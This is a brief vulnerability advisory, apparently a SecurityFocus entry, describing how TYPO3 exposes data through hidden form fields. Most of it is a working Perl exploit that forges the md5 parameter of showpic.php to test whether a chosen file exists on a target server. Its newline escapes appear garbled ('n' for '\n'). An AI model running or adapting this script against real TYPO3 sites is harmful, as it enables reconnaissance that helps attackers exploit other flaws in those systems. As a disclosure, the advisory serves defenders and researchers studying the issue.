source: http://www.securityfocus.com/bid/6993/info

Clients of TYPO3 systems may access potentially sensitive data that have been obfuscated through hidden form fields. This may aid in exploiting other known issues in the software. 

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
use Digest::MD5 qw(md5_hex);
($ho,$fi) = @ARGV;
$md5 = md5_hex("$fi||||");
$ua = new LWP::UserAgent(); $ua->agent("Opera 6.0");
$uri = "http://".$ho."/typo3/showpic.php?file=$fi&md5=$md5";
$req = HTTP::Request->new("GET",$uri);
$res = $ua->request($req);
if ($res->content !~ /was not found/ && $res->content !~ /No valid/) {print "n$fi existsn";}
else {print "n$fi not foundn";}